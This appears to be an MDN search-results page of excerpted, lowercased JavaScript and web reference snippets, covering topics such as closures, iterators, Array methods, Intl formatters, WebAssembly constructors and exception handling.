... for example, you can explain how to choose the "new document" option in the "file" menu using html that looks like this: <p>to create a new file, choose the menu option <kbd><kbd><samp>file</samp></kbd>⇒<kbd><samp>new document</samp></kbd></kbd>.</p> <p>don't forget to click the <kbd><samp>ok</samp></kbd> button to confirm once you've entered the name of the new file.</p> this does some interesting nesting.
An overview of HTTP - HTTP
WebHTTPOverview
this means some parts of displayed text are links which can be activated (usually by a click of the mouse) to fetch a new web page, allowing the user to direct their user-agent and navigate through the web.
...http messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for newcomers.
...new functionality can even be introduced by a simple agreement between a client and a server about a new header's semantics.
...the client may open a new connection, reuse an existing connection, or open several tcp connections to the servers.
Closures - JavaScript
here's a slightly more interesting example—a makeadder function: function makeadder(x) { return function(y) { return x + y; }; } var add5 = makeadder(5); var add10 = makeadder(10); console.log(add5(2)); // 7 console.log(add10(2)); // 12 in this example, we have defined a function makeadder(x), that takes a single argument x, and returns a new function.
...in the above example, the function factory creates two new functions—one that adds five to its argument, and one that adds 10.
...rather than the callbacks all sharing a single lexical environment, the makehelpcallback function creates a new lexical environment for each callback, in which help refers to the corresponding string from the helptext array.
... for instance, when creating a new object/class, methods should normally be associated to the object's prototype rather than defined into the object constructor.
Iterators and generators - JavaScript
the function can be called as many times as desired, and returns a new generator each time.
... iterables which can iterate only once (such as generators) customarily return this from their @@iterator method, whereas iterables which can be iterated many times must return a new iterator on each invocation of @@iterator.
... // if we change it's @@iterator method to a function/generator // which returns a new iterator/generator object, (it) // can iterate many times it[symbol.iterator] = function* () { yield 2; yield 1; }; user-defined iterables you can make your own iterables like this: const myiterable = { *[symbol.iterator]() { yield 1; yield 2; yield 3; } } for (let value of myiterable) { console.log(value); } // 1 // 2 // 3 or [...myiterable]; // [1...
... for (let value of ['a', 'b', 'c']) { console.log(value); } // "a" // "b" // "c" [...'abc']; // ["a", "b", "c"] function* gen() { yield* ['a', 'b', 'c']; } gen().next(); // { value: "a", done: false } [a, b, c] = new set(['a', 'b', 'c']); a; // "a" advanced generators generators compute their yielded values on demand, which allows them to efficiently represent sequences that are expensive to compute (or even infinite sequences, as demonstrated above).
Warning: Date.prototype.toLocaleFormat is deprecated - JavaScript
var today = new date(); var date = today.tolocaleformat('%a, %e.
... var today = new date(); var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; var date = today.tolocaledatestring('de-de', options); console.log(date); // "freitag, 10.
... var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; var dateformatter = new intl.datetimeformat('de-de', options) var dates = [date.utc(2012, 11, 20, 3, 0, 0), date.utc(2014, 04, 12, 8, 0, 0)]; dates.foreach(date => console.log(dateformatter.format(date))); // "donnerstag, 20.
... (new date()).tolocaleformat("%y%m%d"); // "20170310" can be converted to: let now = new date(); let date = now.getfullyear() * 10000 + (now.getmonth() + 1) * 100 + now.getdate(); console.log(date); // "20170310" ...
TypeError: setting getter-only property "x" - JavaScript
the javascript strict mode-only exception "setting getter-only property" occurs when there is an attempt to set a new value to a property for which only a getter is specified.
... there is an attempt to set a new value to a property for which only a getter is specified.
... "use strict"; function archiver() { var temperature = null; object.defineproperty(this, 'temperature', { get: function() { console.log('get!'); return temperature; } }); } var arc = new archiver(); arc.temperature; // 'get!' arc.temperature = 30; // typeerror: setting getter-only property "temperature" to fix this error, you will either need to remove line 16, where there is an attempt to set the temperature property, or you will need to implement a setter for it, for example like this: "use strict"; function archiver() { var temperature = null; var archive = []; obje...
...ct.defineproperty(this, 'temperature', { get: function() { console.log('get!'); return temperature; }, set: function(value) { temperature = value; archive.push({ val: temperature }); } }); this.getarchive = function() { return archive; }; } var arc = new archiver(); arc.temperature; // 'get!' arc.temperature = 11; arc.temperature = 13; arc.getarchive(); // [{ val: 11 }, { val: 13 }] ...
Array() constructor - JavaScript
syntax [element0, element1, ..., elementn] new array(element0, element1[, ...[, elementn]]) new array(arraylength) parameters elementn a javascript array is initialized with the given elements, except in the case where a single argument is passed to the array constructor and that argument is a number (see the arraylength parameter below).
... arraylength if the only argument passed to the array constructor is an integer between 0 and 232-1 (inclusive), this returns a new javascript array with its length property set to that number (note: this implies an array of arraylength empty slots, not slots with actual undefined values).
... let fruits = new array(2); console.log(fruits.length); // 2 console.log(fruits[0]); // undefined array constructor with multiple parameters if more than one argument is passed to the constructor, a new array with the given elements is created.
... let fruits = new array('apple', 'banana'); console.log(fruits.length); // 2 console.log(fruits[0]); // "apple" specifications specification ecmascript (ecma-262)the definition of 'array constructor' in that specification.
Array.prototype.reduce() - JavaScript
polyfill // production steps of ecma-262, edition 5, 15.4.4.21 // reference: http://es5.github.io/#x15.4.4.21 // https://tc39.github.io/ecma262/#sec-array.prototype.reduce if (!array.prototype.reduce) { object.defineproperty(array.prototype, 'reduce', { value: function(callback /*, initialvalue*/) { if (this === null) { throw new typeerror( 'array.prototype.reduce ' + 'called on null or undefined' ); } if (typeof callback !== 'function') { throw new typeerror( callback + ' is not a function'); } // 1.
... if (k >= len) { throw new typeerror( 'reduce of empty array ' + 'with no initial value' ); } value = o[k++]; } // 8.
...umulator, currentvalue) { return [...accumulator, ...currentvalue.books] }, ['alphabet']) // allbooks = [ // 'alphabet', 'bible', 'harry potter', 'war and peace', // 'romeo and juliet', 'the lord of the rings', // 'the shining' // ] remove duplicate items in an array note: if you are using an environment compatible with set and array.from(), you could use let orderedarray = array.from(new set(myarray)) to get an array where duplicate items have been removed.
...equence /** * runs promises from array of functions that can return promises * in chained manner * * @param {array} arr - promise arr * @return {object} promise object */ function runpromiseinsequence(arr, input) { return arr.reduce( (promisechain, currentfunction) => promisechain.then(currentfunction), promise.resolve(input) ) } // promise function 1 function p1(a) { return new promise((resolve, reject) => { resolve(a * 5) }) } // promise function 2 function p2(a) { return new promise((resolve, reject) => { resolve(a * 2) }) } // function 3 - will be wrapped in a resolved promise by .then() function f3(a) { return a * 3 } // promise function 4 function p4(a) { return new promise((resolve, reject) => { resolve(a * 4) }) } const promisearr = [p...
Array.prototype.flatMap() - JavaScript
the flatmap() method first maps each element using a mapping function, then flattens the result into a new array.
... syntax var new_array = arr.flatmap(function callback(currentvalue[, index[, array]]) { // return element for new_array }[, thisarg]) parameters callback function that produces an element of the new array, taking three arguments: currentvalue the current element being processed in the array.
... return value a new array with each element being the result of the callback function and flattened to a depth of 1.
... alternative reduce() and concat() var arr = [1, 2, 3, 4]; arr.flatmap(x => [x, x * 2]); // is equivalent to arr.reduce((acc, x) => acc.concat([x, x * 2]), []); // [1, 2, 2, 4, 3, 6, 4, 8] note, however, that this is inefficient and should be avoided for large arrays: in each iteration, it creates a new temporary array that must be garbage-collected, and it copies elements from the current accumulator array into a new array instead of just adding the new elements to the existing array.
ArrayBuffer - JavaScript
the arraybuffer() constructor creates a new arraybuffer of the given length in bytes.
... constructor arraybuffer() creates a new arraybuffer object.
... instance methods arraybuffer.prototype.slice() returns a new arraybuffer whose contents are a copy of this arraybuffer's bytes from begin (inclusive) up to end (exclusive).
... examples creating an arraybuffer in this example, we create a 8-byte buffer with a int32array view referring to the buffer: const buffer = new arraybuffer(8); const view = new int32array(buffer); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer' in that specification.
AsyncFunction - JavaScript
the asyncfunction constructor creates a new async function object.
...it can be obtained with the following code: object.getprototypeof(async function(){}).constructor syntax new asyncfunction([arg1[, arg2[, ...argn]],] functionbody) parameters arg1, arg2, ...
... invoking the asyncfunction constructor as a function (without using the new operator) has the same effect as invoking it as a constructor.
... examples creating an async function from an asyncfunction() constructor function resolveafter2seconds(x) { return new promise(resolve => { settimeout(() => { resolve(x); }, 2000); }); } let asyncfunction = object.getprototypeof(async function(){}).constructor let a = new asyncfunction('a', 'b', 'return await resolveafter2seconds(a) + await resolveafter2seconds(b);'); a(10, 20).then(v => { console.log(v); // prints 30 after 4 seconds }); specifications specification ecmascript (ecma-262)the definition of 'asyncfunction object' in that specification.
DataView() constructor - JavaScript
syntax new dataview(buffer [, byteoffset [, bytelength]]) parameters buffer an existing arraybuffer or sharedarraybuffer to use as the storage backing the new dataview object.
... byteoffset optional the offset, in bytes, to the first byte in the above buffer for the new view to reference.
... return value a new dataview object representing the specified data buffer.
... examples using dataview var buffer = new arraybuffer(16); var view = new dataview(buffer, 0); view.setint16(1, 42); view.getint16(1); // 42 specifications specification ecmascript (ecma-262)the definition of 'dataview constructor' in that specification.
DataView - JavaScript
var littleendian = (function() { var buffer = new arraybuffer(2); new dataview(buffer).setint16(0, 256, true /* littleendian */); // int16array uses the platform's endianness.
... return new int16array(buffer)[0] === 256; })(); console.log(littleendian); // true or false 64-bit integer values because javascript does not currently include standard support for 64-bit integer values, dataview does not offer native 64-bit operations.
...(right<<bigthirtytwo)|left : (left<<bigthirtytwo)|right; } constructor dataview() creates a new dataview object.
... examples using dataview var buffer = new arraybuffer(16); var view = new dataview(buffer, 0); view.setint16(1, 42); view.getint16(1); // 42 specifications specification ecmascript (ecma-262)the definition of 'dataview' in that specification.
Date.prototype.getYear() - JavaScript
var xmas = new date('december 25, 1995 23:15:00'); var year = xmas.getyear(); // returns 95 years above 1999 the second statement assigns the value 100 to the variable year.
... var xmas = new date('december 25, 2000 23:15:00'); var year = xmas.getyear(); // returns 100 years below 1900 the second statement assigns the value -100 to the variable year.
... var xmas = new date('december 25, 1800 23:15:00'); var year = xmas.getyear(); // returns -100 setting and getting a year between 1900 and 1999 the third statement assigns the value 95 to the variable year, representing the year 1995.
... var xmas = new date('december 25, 2015 23:15:00'); xmas.setyear(95); var year = xmas.getyear(); // returns 95 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getyear' in that specification.
Error() constructor - JavaScript
syntax new error([message[, filename[, linenumber]]]) parameters messageoptional a human-readable description of the error.
... examples function call or new construction when error is used like a function -- without new, it will return an error object.
... therefore, a mere call to error will produce the same output that constructing an error object via the new keyword would.
...const y = new error('i was constructed via the "new" keyword!') specifications specification ecmascript (ecma-262)the definition of 'error constructor' in that specification.
Function() constructor - JavaScript
the function constructor creates a new function object.
... syntax new function([arg1 [, arg2 [, ...argn]] ,] functionbody) parameters arg1, arg2, ...
... invoking the function constructor as a function (without using the new operator) has the same effect as invoking it as a constructor.
... // example can be run directly in your javascript console // create a function that takes two arguments, and returns the sum of those arguments const adder = new function('a', 'b', 'return a + b'); // call the function adder(2, 6); // 8 the arguments "a" and "b" are formal argument names that are used in the function body, "return a + b".
Function - JavaScript
constructor function() creates a new function object.
... function.prototype.bind(thisarg[, arg1[, arg2[, ...argn]]]) creates a new function which, when called, has its this set to the provided thisarg.
... optionally, a given sequence of arguments will be prepended to arguments provided the newly-bound function is called.
... var x = 10; function createfunction1() { var x = 20; return new function('return x;'); // this |x| refers global |x| } function createfunction2() { var x = 20; function f() { return x; // this |x| refers local |x| above } return f; } var f1 = createfunction1(); console.log(f1()); // 10 var f2 = createfunction2(); console.log(f2()); // 20 while this code works in web browsers, f1() will produce a referenceerror in ...
GeneratorFunction - JavaScript
the generatorfunction constructor creates a new generator function object.
... object.getprototypeof(function*(){}).constructor syntax new generatorfunction ([arg1[, arg2[, ...argn]],] functionbody) parameters arg1, arg2, ...
... invoking the generatorfunction constructor as a function (without using the new operator) has the same effect as invoking it as a constructor.
... examples creating a generator function from a generatorfunction() constructor var generatorfunction = object.getprototypeof(function*(){}).constructor var g = new generatorfunction('a', 'yield a * 2'); var iterator = g(10); console.log(iterator.next().value); // 20 specifications specification ecmascript (ecma-262)the definition of 'generatorfunction' in that specification.
Intl.DateTimeFormat() constructor - JavaScript
syntax new intl.datetimeformat([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of such strings.
...implementations may also recognize the time zone names of the iana time zone database, such as "asia/shanghai", "asia/kolkata", "america/new_york".
... var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // tolocalestring without arguments depends on the implementation, // the default locale, and the default time zone console.log(new intl.datetimeformat().format(date)); // → "12/19/2012" if run with en-us locale (language) and time zone america/los_angeles (utc-0800) using timestyle and datestyle let o = new intl.datetimeformat("en" , { timestyle: "sh...
...ort" }); console.log(o.format(date.now())); // "13:31 am" let o = new intl.datetimeformat("en" , { datestyle: "short" }); console.log(o.format(date.now())); // "07/07/20" let o = new intl.datetimeformat("en" , { timestyle: "medium", datestyle: "short" }); console.log(o.format(date.now())); // "07/07/20, 13:31:55 am" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.datetimeformat' in that specification.
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
examples datetimeformat outputs localized, opaque strings that cannot be manipulated directly: var date = date.utc(2012, 11, 17, 3, 0, 42); var formatter = new intl.datetimeformat('en-us', { weekday: 'long', year: 'numeric', month: 'numeric', day: 'numeric', hour: 'numeric', minute: 'numeric', second: 'numeric', fractionalseconddigits: 3, hour12: true, timezone: 'utc' }); formatter.format(date); // "monday, 12/17/2012, 3:00:42.000 am" however, in many user interfaces there is a desire to customize the formatting of this string.
... setting an entry in the bag for year (with any value) will yield both the and the yearname gregorian relatedyear: let opts = { year: "numeric", month: "numeric", day: "numeric" }; let df = new intl.datetimeformat("zh-u-ca-chinese", opts); df.formattoparts(date.utc(2012, 11, 17, 3, 0, 42)); // return value [ { type: 'relatedyear', value: '2012' }, { type: 'literal', value: '年' }, { type: 'month', value: '十一月' }, { type: 'day', value: '4' } ] if the year option is not set in the bag (to any value), the result will include only the relatedyear: let df = new intl.date...
...timeformat("zh-u-ca-chinese"); df.formattoparts(date.utc(2012, 11, 17, 3, 0, 42)); // return value [ { type: 'relatedyear', value: '2012' }, { type: 'literal', value: '年' }, { type: 'month', value: '十一月' }, { type: 'day', value: '4' } ] in cases where the year would be output, .format() may commonly present these side-by-side: let df = new intl.datetimeformat("zh-u-ca-chinese", {year: "numeric"}); df.format(date.utc(2012, 11, 17, 3, 0, 42)); // return value 2012壬辰年 this also makes it possible to mix locale and calendar in both format: let df = new intl.datetimeformat("en-u-ca-chinese", {year: "numeric"}); let date = date.utc(2012, 11, 17, 3, 0, 42); df.format(date); // return value 2012(ren-chen) and formattoparts: let opts = {month: 'numeric', day...
...: 'numeric', year: "numeric"}; let df = new intl.datetimeformat("en-u-ca-chinese", opts); let date = date.utc(2012, 11, 17, 3); df.formattoparts(date) // return value [ { type: 'month', value: '11' }, { type: 'literal', value: '/' }, { type: 'day', value: '4' }, { type: 'literal', value: '/' }, { type: 'relatedyear', value: '2012' } ] specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.datetimeformat.prototype.formattoparts' in that specification.
Intl.Locale.prototype.numberingSystem - JavaScript
l sans-serif bold digits mathsans mathematical sans-serif digits mlym malayalam digits modi modi digits mong mongolian digits mroo mro digits mtei meetei mayek digits mymr myanmar digits mymrshan myanmar shan digits mymrtlng myanmar tai laing digits native native digits newa newa digits nkoo n'ko digits olck ol chiki digits orya oriya digits osma osmanya digits rohg hanifi rohingya digits roman roman upper case numerals — algorithmic romanlow roman lowercase numerals — algorithmic saur saurashtra digits shrd sharada digits sind khudawadi dig...
...its sinh sinhala lith digits sora sora_sompeng digits sund sundanese digits takr takri digits talu new tai lue digits taml tamil numerals — algorithmic tamldec modern tamil decimal digits telu telugu digits thai thai digits tirh tirhuta digits tibt tibetan digits traditio traditional numerals — may be algorithmic vaii vai digits wara warang citi digits wcho wancho digits examples setting the numberingsystem value via the locale string in the unicode locale string spec, the values that numberingsystem represents correspond to the key nu.
... let numberingsystemviastr = new intl.locale("fr-latn-fr-u-nu-mong"); console.log(numberingsystemstr.numberingsystem); // prints "mong" setting the numberingsystem value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
... let numberingsystemviaobj= new intl.locale("en-latn-us", {numberingsystem: "latn"}); console.log(us12hour.numberingsystem); // prints "latn" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.RelativeTimeFormat - JavaScript
constructor intl.relativetimeformat.relativetimeformat() creates a new intl.relativetimeformat object.
... intl.relativetimeformat.prototype.resolvedoptions() returns a new object with properties reflecting the locale and formatting options computed during initialization of the object.
...const rtf = new intl.relativetimeformat("en", { localematcher: "best fit", // other values: "lookup" numeric: "always", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1).
...rtf.format(1, "day"); // > "in 1 day" using formattoparts the following example shows how to create a relative time formatter returning formatted parts const rtf = new intl.relativetimeformat("en", { numeric: "auto" }); // format relative time using the day unit.
Object.defineProperties() - JavaScript
the object.defineproperties() method defines new or modifies existing properties directly on an object, returning the object.
...the function will receive as its only argument the new value being assigned to the property.
... return typeof v === 'function'; } if (typeof desc !== 'object' || desc === null) throw new typeerror('bad desc'); var d = {}; if (hasproperty(desc, 'enumerable')) d.enumerable = !!desc.enumerable; if (hasproperty(desc, 'configurable')) d.configurable = !!desc.configurable; if (hasproperty(desc, 'value')) d.value = desc.value; if (hasproperty(desc, 'writable')) d.writable = !!desc.writable; if (hasproperty(desc, 'get')) { var g = d...
...esc.get; if (!iscallable(g) && typeof g !== 'undefined') throw new typeerror('bad get'); d.get = g; } if (hasproperty(desc, 'set')) { var s = desc.set; if (!iscallable(s) && typeof s !== 'undefined') throw new typeerror('bad set'); d.set = s; } if (('get' in d || 'set' in d) && ('value' in d || 'writable' in d)) throw new typeerror('identity-confused descriptor'); return d; } if (typeof obj !== 'object' || obj === null) throw new typeerror('bad obj'); properties = object(properties); var keys = object.keys(properties); var descs = []; for (var i = 0; i < keys.length; i++) descs.push([keys[i], converttodescriptor(properties[keys[i]])]); for (var i = 0; i < descs.length; i++) object.definep...
Object.seal() - JavaScript
the object.seal() method seals an object, preventing new properties from being added to it and marking all existing properties as non-configurable.
... description by default, objects are extensible (new properties can be added to them).
... sealing an object prevents new properties from being added and marks all existing properties as non-configurable.
... examples using object.seal var obj = { prop: function() {}, foo: 'bar' }; // new properties may be added, existing properties // may be changed or removed.
Object.prototype.toString() - JavaScript
the following code illustrates this: const o = new object(); o.tostring(); // returns [object object] note: starting in javascript 1.8.5, tostring() called on null returns [object null], and undefined returns [object undefined], as defined in the 5th edition of ecmascript and subsequent errata.
... the following code defines the dog object type and creates thedog, an object of type dog: function dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; } thedog = new dog('gabby', 'lab', 'chocolate', 'female'); if you call the tostring() method on this custom object, it returns the default value inherited from object: thedog.tostring(); // returns [object object] the following code creates and assigns dogtostring() to override the default tostring() method.
... const tostring = object.prototype.tostring; tostring.call(new date); // [object date] tostring.call(new string); // [object string] tostring.call(math); // [object math] // since javascript 1.8.5 tostring.call(undefined); // [object undefined] tostring.call(null); // [object null] using tostring() in this way is unreliable; objects can change the behavior of object.prototype.tostring() by defining a symbol.tostringtag property, leadin...
...for example: const mydate = new date(); object.prototype.tostring.call(mydate); // [object date] mydate[symbol.tostringtag] = 'mydate'; object.prototype.tostring.call(mydate); // [object mydate] date.prototype[symbol.tostringtag] = 'prototype polluted'; object.prototype.tostring.call(new date()); // [object prototype polluted] specifications specification ecmascript (ecma-262)the definition of 'object.prototype.tostring' in that specification.
Promise.any() - JavaScript
if no promises in the iterable fulfil (if all of the given promises are rejected), then the returned promise is rejected with an aggregateerror, a new subclass of error that groups together individual errors.
... const perr = new promise((resolve, reject) => { reject("always fails"); }); const pslow = new promise((resolve, reject) => { settimeout(resolve, 500, "done eventually"); }); const pfast = new promise((resolve, reject) => { settimeout(resolve, 100, "done quick"); }); promise.any([perr, pslow, pfast]).then((value) => { console.log(value); // pfast fulfils first }) // expected output: "done quick" rej...
... const perr = new promise((resolve, reject) => { reject('always fails'); }); promise.any([perr]).catch((err) => { console.log(err); }) // expected output: "aggregateerror: no promise in promise.any was resolved" displaying the first image loaded in this example, we have a function that fetches an image and returns a blob.
... function fetchanddecode(url) { return fetch(url).then(response => { if(!response.ok) { throw new error(`http error!
Proxy() constructor - JavaScript
syntax new proxy(target, handler) parameters target a target object to wrap with proxy.
... description use the proxy() constructor to create a new proxy object.
... handler.construct() a trap for the new operator.
... const target = { notproxied: "original value", proxied: "original value" }; const handler = { get: function(target, prop, receiver) { if (prop === "proxied") { return "replaced value"; } return reflect.get(...arguments); } }; const proxy = new proxy(target, handler); console.log(proxy.notproxied); // "original value" console.log(proxy.proxied); // "replaced value" specifications specification ecmascript (ecma-262)the definition of 'proxy constructor' in that specification.
Reflect - JavaScript
you cannot use it with a new operator or invoke the reflect object as a function.
... reflect.construct(target, argumentslist[, newtarget]) the new operator as a function.
... equivalent to calling new target(...argumentslist).
...my name is ${this.name}`); } } reflect.has(duck, 'color'); // true reflect.has(duck, 'haircut'); // false returning the object's own keys reflect.ownkeys(duck); // [ "name", "color", "greeting" ] adding a new property to the object reflect.set(duck, 'eyes', 'black'); // returns "true" if successful // "duck" now contains the property "eyes: 'black'" specifications specification ecmascript (ecma-262)the definition of 'reflect' in that specification.
RegExp() constructor - JavaScript
syntax literal, constructor, and factory notations are possible: /pattern/flags new regexp(pattern[, flags]) regexp(pattern[, flags]) parameters pattern the text of the regular expression.
...to match newlines.
... the following three expressions create the same regular expression: /ab+c/i new regexp(/ab+c/, 'i') // literal notation new regexp('ab+c', 'i') // constructor the literal notation results in compilation of the regular expression when the expression is evaluated.
... the constructor of the regular expression object—for example, new regexp('ab+c')—results in runtime compilation of the regular expression.
Set() constructor - JavaScript
syntax new set([iterable]) parameters iterable optional if an iterable object is passed, all of its elements will be added to the new set.
... if you don't specify this parameter, or its value is null, the new set is empty.
... return value a new set object.
... examples using the set object let myset = new set() myset.add(1) // set [ 1 ] myset.add(5) // set [ 1, 5 ] myset.add(5) // set [ 1, 5 ] myset.add('some text') // set [ 1, 5, 'some text' ] let o = {a: 1, b: 2} myset.add(o) specifications specification ecmascript (ecma-262)the definition of 'set constructor' in that specification.
String.prototype.concat() - JavaScript
the concat() method concatenates the string arguments to the calling string and returns a new string.
... return value a new string containing the combined text of the strings provided.
... description the concat() function concatenates the string arguments to the calling string and returns a new string.
... examples using concat() the following example combines strings into a new string.
String.prototype.slice() - JavaScript
the slice() method extracts a section of a string and returns it as a new string, without modifying the original string.
...(for example, if endindex is -3 it is treated as str.length - 3.) return value a new string containing the extracted section of the string.
... description slice() extracts the text from one string and returns a new string.
... examples using slice() to create a new string the following example uses slice() to create a new string.
String.prototype.substring() - JavaScript
return value a new string containing the specified part of the given string.
...the function call at the end of the example changes the string brave new world to brave new web.
... // replaces olds with news in the string fulls function replacestring(olds, news, fulls) { for (let i = 0; i < fulls.length; ++i) { if (fulls.substring(i, i + olds.length) == olds) { fulls = fulls.substring(0, i) + news + fulls.substring(i + olds.length, fulls.length) } } return fulls } replacestring('world', 'web', 'brave new world') note that this can result in an infinite loop if olds is itself a substring of news — for example, if you attempted to replace 'world' with 'otherworld' here.
... a better method for replacing strings is as follows: function replacestring(olds, news, fulls) { return fulls.split(olds).join(news) } the code above serves as an example for substring operations.
TypedArray.of() - JavaScript
the typedarray.of() method creates a new typed array from a variable number of arguments.
... return value a new typedarray instance.
... description some subtle distinctions between array.of() and typedarray.of(): if the this value passed to typedarray.of is not a constructor, typedarray.of will throw a typeerror, where array.of defaults to creating a new array.
...hence, when working with proxy objects, it calls handler.set to create new elements rather than handler.defineproperty.
WebAssembly.Global - JavaScript
constructor webassembly.global() creates a new global object.
... examples creating a new global instance the following example shows a new global instance being created using the webassembly.global() constructor.
... the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the new value).
...got: ${got}<br>`; } asserteq("webassembly.global exists", typeof webassembly.global, "function"); const global = new webassembly.global({value:'i32', mutable:true}, 0); webassembly.instantiatestreaming(fetch('global.wasm'), { js: { global } }) .then(({instance}) => { asserteq("getting initial value from wasm", instance.exports.getglobal(), 0); global.value = 42; asserteq("getting js-updated value from wasm", instance.exports.getglobal(), 42); instance.exports.incglobal(); asserteq("getting ...
WebAssembly.Instance() constructor - JavaScript
the webassembly.instance() constructor creates a new instance object which is a stateful, executable instance of a webassembly.module.
... new webassembly.instance(module, importobject); parameters module the webassembly.module object to be instantiated.
... importobject optional an object containing the values to be imported into the newly-created instance, such as functions or webassembly.memory objects.
...amples synchronously instantiating a webassembly module the webassembly.instance() constructor function can be called to synchronously instantiate a given webassembly.module object, for example: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = new webassembly.module(bytes); let instance = new webassembly.instance(mod, importobject); instance.exports.exported_func(); }) however, the preferred way to get an instance is through the asynchronous webassembly.instantiatestreaming() function, for example like this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instan...
WebAssembly.Table() constructor - JavaScript
the webassembly.table() constructor creates a new table object of the given size and element type.
... syntax new webassembly.table(tabledescriptor); parameters tabledescriptor an object that can contain the following members: element a string representing the type of value to be stored in the table.
... examples creating a new webassembly table instance the following example (see table2.html source code and live version) creates a new webassembly table instance with an initial size of 2 elements.
... var tbl = new webassembly.table({initial:2, element:"anyfunc"}); console.log(tbl.length); // "2" console.log(tbl.get(0)); // "null" console.log(tbl.get(1)); // "null" we then create an import object that contains the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming() method.
WebAssembly.instantiate() - JavaScript
if at all possible, you should use the newer webassembly.instantiatestreaming() method instead, which fetches, compiles, and instantiates a module all in one step, directly from the raw bytecode, so doesn't require conversion to an arraybuffer.
... importobject optional an object containing the values to be imported into the newly-created instance, such as functions or webassembly.memory objects.
... importobject optional an object containing the values to be imported into the newly-created instance, such as functions or webassembly.memory objects.
... var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread.
instanceof - JavaScript
// defining constructors function c() {} function d() {} let o = new c() // true, because: object.getprototypeof(o) === c.prototype o instanceof c // false, because d.prototype is nowhere in o's prototype chain o instanceof d o instanceof object // true, because: c.prototype instanceof object // true c.prototype = {} let o2 = new c() o2 instanceof c // true // false, because c.prototype is nowhere in // o's prototype chain anymore o instanceof c ...
...d.prototype = new c() // add c to [[prototype]] linkage of d let o3 = new d() o3 instanceof d // true o3 instanceof c // true since c.prototype is now in o3's prototype chain note that the value of an instanceof test can change based on changes to the prototype property of constructors.
... let simplestr = 'this is a simple string' let mystring = new string() let newstr = new string('string created with constructor') let mydate = new date() let myobj = {} let mynonobj = object.create(null) simplestr instanceof string // returns false, string literal is not an object mystring instanceof string // returns true newstr instanceof string // returns true mystring instanceof object // returns true myobj instanceof object /...
... function car(make, model, year) { this.make = make; this.model = model; this.year = year; } let mycar = new car('honda', 'accord', 1998) let a = mycar instanceof car // returns true let b = mycar instanceof object // returns true not an instanceof to test if an object is not an instanceof a specific constructor, you can do if (!(mycar instanceof car)) { // do something, like: // mycar = new car(mycar) } this is really different from: if (!mycar instanceof car) this will always be false...
throw - JavaScript
each of the following throws an exception: throw 'error2'; // generates an exception with a string value throw 42; // generates an exception with the value 42 throw true; // generates an exception with the value true throw new error('required'); // generates an error object with the message of required also note that the throw statement is affected by automatic semicolon insertion (asi) as no line terminator between the throw keyword and the expression is allowed.
... function userexception(message) { this.message = message; this.name = 'userexception'; } function getmonthname(mo) { mo = mo - 1; // adjust month number for array index (1 = jan, 12 = dec) var months = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec']; if (months[mo] !== undefined) { return months[mo]; } else { throw new userexception('invalidmonthno'); } } try { // statements to try var mymonth = 15; // 15 is out of bound to raise the exception var monthname = getmonthname(mymonth); } catch (e) { monthname = 'unknown'; console.error(e.message, e.name); // pass exception object to err handler } another example of throwing an object the following example tests an input string for a u.s.
... */ function zipcode(zip) { zip = new string(zip); pattern = /[0-9]{5}([- ]?[0-9]{4})?/; if (pattern.test(zip)) { // zip code value will be the first match in the string this.value = zip.match(pattern)[0]; this.valueof = function() { return this.value }; this.tostring = function() { return string(this.value) }; } else { throw new zipcodeformatexception(zip); } } ...
... */ const zipcode_invalid = -1; const zipcode_unknown_error = -2; function verifyzipcode(z) { try { z = new zipcode(z); } catch (e) { if (e instanceof zipcodeformatexception) { return zipcode_invalid; } else { return zipcode_unknown_error; } } return z; } a = verifyzipcode(95060); // returns 95060 b = verifyzipcode(9560); // returns -1 c = verifyzipcode('a'); // returns -1 d = verifyzipcode('95060'); // returns 95060 e = ver...
try...catch - JavaScript
openmyfile(); try { // tie up a resource writemyfile(thedata); } finally { closemyfile(); // always close the resource } examples nested try-blocks first, let's see what happens with this: try { try { throw new error('oops'); } finally { console.log('finally'); } } catch (ex) { console.error('outer', ex.message); } // output: // "finally" // "outer" "oops" now, if we already caught the exception in the inner try-block by adding a catch-block try { try { throw new error('oops'); } catch (ex) { console.error('inner', ex.message); } finally { console.log('finally'); ...
... try { try { throw new error('oops'); } catch (ex) { console.error('inner', ex.message); throw ex; } finally { console.log('finally'); } } catch (ex) { console.error('outer', ex.message); } // output: // "inner" "oops" // "finally" // "outer" "oops" any given exception will be caught only once by the nearest enclosing catch-block unless it is rethrown.
... of course, any new exceptions raised in the "inner" block (because the code in catch-block may do something that throws), will be caught by the "outer" block.
...this includes exceptions thrown inside of the catch-block: (function() { try { try { throw new error('oops'); } catch (ex) { console.error('inner', ex.message); throw ex; } finally { console.log('finally'); return; } } catch (ex) { console.error('outer', ex.message); } })(); // output: // "inner" "oops" // "finally" the outer "oops" is not thrown because of the return in the finally-block.
Transitioning to strict mode - JavaScript
